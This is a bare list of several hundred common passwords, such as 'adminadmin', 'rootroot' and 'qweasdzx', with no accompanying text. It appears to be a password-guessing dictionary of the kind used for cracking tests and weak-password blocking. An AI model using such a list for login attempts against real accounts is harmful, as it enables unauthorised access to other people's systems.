01230123 yourname whitewolf warszawa visionary versailles toothpick therock1 testuser temp1234 swordfis superdog sunflowers sunflowe stevenson sportsman somewhere soccer22 snoopdogg slovenia slayer666 sinfonia silverfish sexybitch scimitar rosebush resonance resolution registration redriver redeemed ramstein qweasdzx primetime precision plumbing pickwick password22 parsifal paramount overcome nutcracker ninjutsu newport1 newcomer monkey01 minority mariette loveland localhost leadership lagrange kaitlynn justin123 joshua123 john1234 invictus inventor inspired hurrican honey123 holbrook hiroshima heracles hawthorne hathaway governor goodrich gizmo123 friday13 fortytwo foreplay foolproof fishhook fishfish financial fillmore evangeline espinoza emerald1 electricity ekaterina edgewood duisburg drummers dowjones continental cameroon buddyboy bracelet bogeyman bluerose birdcage billy123 billgates beepbeep batman123 asdfgh12 architecture antonina anabolic allister albacore airedale activity Patricia 99887766 20202020 19701970 1357924680 yardbird xcountry wildrose watanabe wareagle wanderlust wakefield validate tripping treetree timbuktu tarantino syndicate summer00 stuntman steelman spartan1 spaceship snowshoe smuggler slowhand sharpshooter shadow01 schuster schalke04 satelite rightnow r4e3w2q1 quagmire portsmouth porridge pinkerton peerless paganini orchestra optional nowayout nintendo64 nicaragua newstart neworder monkey13 mission1 michelangelo mcmillan lucky777 lombardo lindberg larkspur lambchop lalaland kirakira kamehameha joshua12 jellybeans january1 innovision infinito identify hellomoto hellgate heatwave harlequin grounded greenish grandmother gorillaz goldsmith gerhardt generous gauthier frontera freezing fracture firewater fellowship fastlane explosive environment drafting donnelly dolomite direction deception damocles cunningham crossroad critters crickets crabtree cortland constantin connected confidential comrades clothing classical checking charmed1 cathleen carter15 carleton butterscotch butterball bulldozer bomberman blueline bittersweet bigblack bastard1 backspin babababa audition argentum antonius antiques angelfish americana aluminium abigail1 abc123abc 14531453 woodlawn woodchuck windward warranty visitors vanderbilt turquoise triathlon trespass trashcan topnotch tigger12 switzerland summer05 summer01 sturgeon studioworks strikers skipjack simulator silverman shipyard shekinah scouting sanpedro sandrock rootroot ronaldo9 reynaldo renaissance rembrandt relentless relative radagast qwertzui presidio presence prentice porcupine playback philippa peterman peregrin peaceman papabear organist octavian northside nightwing nathanael nascar24 multipass mostwanted monteiro monkeys1 millhouse metaphor manifold makelove lysander louisville london123 logistics lobsters lifesaver kristofer kilimanjaro julie123 johngalt jamaica1 jalapeno jacobsen islanders isengard icecream1 hutchins horizons hitchcock hemingway heartland hawkwind happyboy gwendolyn gutentag graveyard gracious godislove glenwood frogfrog freelancer fraction forgetful foreigner folklore firetruck fantasy1 fahrenheit express1 exposure everton1 endurance employee economic ducksoup dragonslayer doggystyle diskette descartes delacruz dashboard damnation creepers copperhead clements cheerful characters certified cathedral catering capucine capacity bridgett breakaway boyscout bloodlust blackstone bingo123 belgrade beginner bavarian backfire astaroth asdfg12345 arsehole annelise andrew01 anabelle albright airlines adminadmin adelante account1 Maverick 85208520 14121412 134679852 123456789abc zzzzzzzzzz yahoo123 wretched winthrop whirlwind westwind weinberg tumbleweed trashman toronto1 threesome thomas01 thibault syndrome swinging sweetiepie sweetest superwoman sunburst sperling spectral soldier1 silmaril shoulder shahrukh settlers seduction searching scotsman scofield schumann satisfaction santamaria rossignol rodrigues rockrock rockland retriever resurrection restaurant qwerty69 promises priscila priority principal playoffs persephone peregrine pebbles1 overseer opposite oldsmobile octavius nikenike nightcrawler nehemiah mystery1 morticia morrowind moonraker monkey11 mithrandir misty123 milenium microphone michael3 matrix123 lollollol lincoln1 lilwayne lausanne kokokoko kilowatt jacob123 interval ignorant huntsman hooligans homesick hobgoblin highlands highbury hellbent guerilla graywolf grandson georgetown gentleman gargamel gangsters gameplay flowerpot firefly1 fighter1 fielding familiar falconer ezequiel dynamics dominican demolition demetria deathnote darkroom curtains currency crocodil creativity crawling commercial cigarette christy1 chivalry charlie7 celestine catriona cassiopeia carolann cantona7 cannonball canfield buttocks brinkley bordello blissful blackwell blackbox billiard bigbooty belvedere bastille barbershop background australian astalavista assassins as123456 artofwar artichoke annalena animated alvarado alternate alicante alex2000 aleksandr alabaster aerospace accurate 17171717 159159159 123456as 00112233 00001111